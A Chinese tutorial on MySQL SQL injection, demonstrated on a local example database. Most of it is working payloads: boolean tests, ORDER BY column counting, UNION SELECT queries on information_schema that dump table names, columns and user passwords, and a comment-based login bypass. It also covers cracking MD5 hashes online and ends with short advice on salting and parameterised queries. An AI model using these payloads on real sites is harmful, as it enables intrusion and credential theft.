网站攻击的方式大致有三种:1、通过数据库注入攻击(通过检查工具,来判断数据库中是否存在表,)2、上传攻击,(通过上传webshell的方式,来攻击目标,有伪装图片的,有直接通过Burpsuite这种拦截请求,然后修改上传内容的),3、通过直接暴力破解ssh的地址(这种方式实现起来,需要跑字典的方式,比较的费时间)。

数据库注入原理

# 通过and 来判断 验证是否支持sql注入
and 1=1
and 1=2

# 然后通过 获取注入的字段的长度
# order 11, 查看是不是11个字段
#order 12 查看是不是12个字段
#通过第4个字段进行排序操作
select * from sys_role  order by 4

#获取字段长度后,获取数据库信息

#判断是否存在表
select * from sys_role where exists(select * from sys_user);
#主要是通过exists来查看是否存在表
and exist (select * from admin)

#通过 union ,这种方式可以把数据库的信息获取到,直接就获取到系统的管理员密码,如果密码是md5的,可以直接去http://www.cmd5.com/ 进行解码
union (select 1,2,3,4xxx from xxx)

判断网站是否支持sql注入

测试网站是否支持数据库注入,如果出现异常,就说明不支持了,如果正常返回,说明这个连接,支持数据库注入。

Mysql数据库注入-yellowcong_上传

获取数据库信息

获取去数据库系统信息

-- union select database(),version(),user(),4 from sy
s_role; 是后面注入的
select * from sys_role union select database(),version(),user(),4 from sy
s_role;

Mysql数据库注入-yellowcong_字段_02

获取表信息

注入获取所有的表信息

select * from sys_role union select database(),version(),user(),4 from sy
s_role;

判断是否存在管理员表,通过猜的方式来获取去到数据库管理员的表的名称

Mysql数据库注入-yellowcong_上传_03

第二种方式,通过插叙你的方式来获取表的名称

-- 我们已经知道数据库当前的schema  yellowcong
-- 用户是root
-- 获取所有表的信息
select * from sys_role union SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='yellowcong' AND table_type='base table';

Mysql数据库注入-yellowcong_数据库_04

获取用户表信息

-- 我们已经知道数据库当前的schema  yellowcong
-- 用户是root
-- 获取所有表的信息
select * from sys_role union SELECT column_name,2,3,4 FROM information_schema.columns WHERE table_schema='yellowcong' AND table_name='sys_user';

Mysql数据库注入-yellowcong_字段_05

获取用户信息

-- 我们上面已经知道了表的信息
--所有就可以直接查询出来了
select * from sys_role union SELECT username,password,3,4 FROM sys_user;

Mysql数据库注入-yellowcong_数据库_06

登录注入

-- 正常查询
select * from sys_user where username ='yellowcong' and password='xx';

-- 注入方式查询,给中间一段给注释上了,直接就可以跑了
 select * from sys_user where username =1/* and password='xx'*/ or 1=1;

直接通过查询的时候,注入/**/来注释掉代码。

Mysql数据库注入-yellowcong_数据库_07

md5解密

通过下面这个网站,可以很轻松的将密码跑出来

http://www.cmd5.com/

Mysql数据库注入-yellowcong_mysql_08

md5解密防止的办法

给Md5多次加密的方式,和加盐的方式,来 实现md5加密,这样就可以防止md5解密了

注入的防止办法

在写代码的时候,尽量不要用sql语句拼接的方式,在JDBC中,最好用传递参数的方式,这样就可以解决问题了。还有对于实在不能通过参数,需要动态创建的sql,做好 sql的验证工作。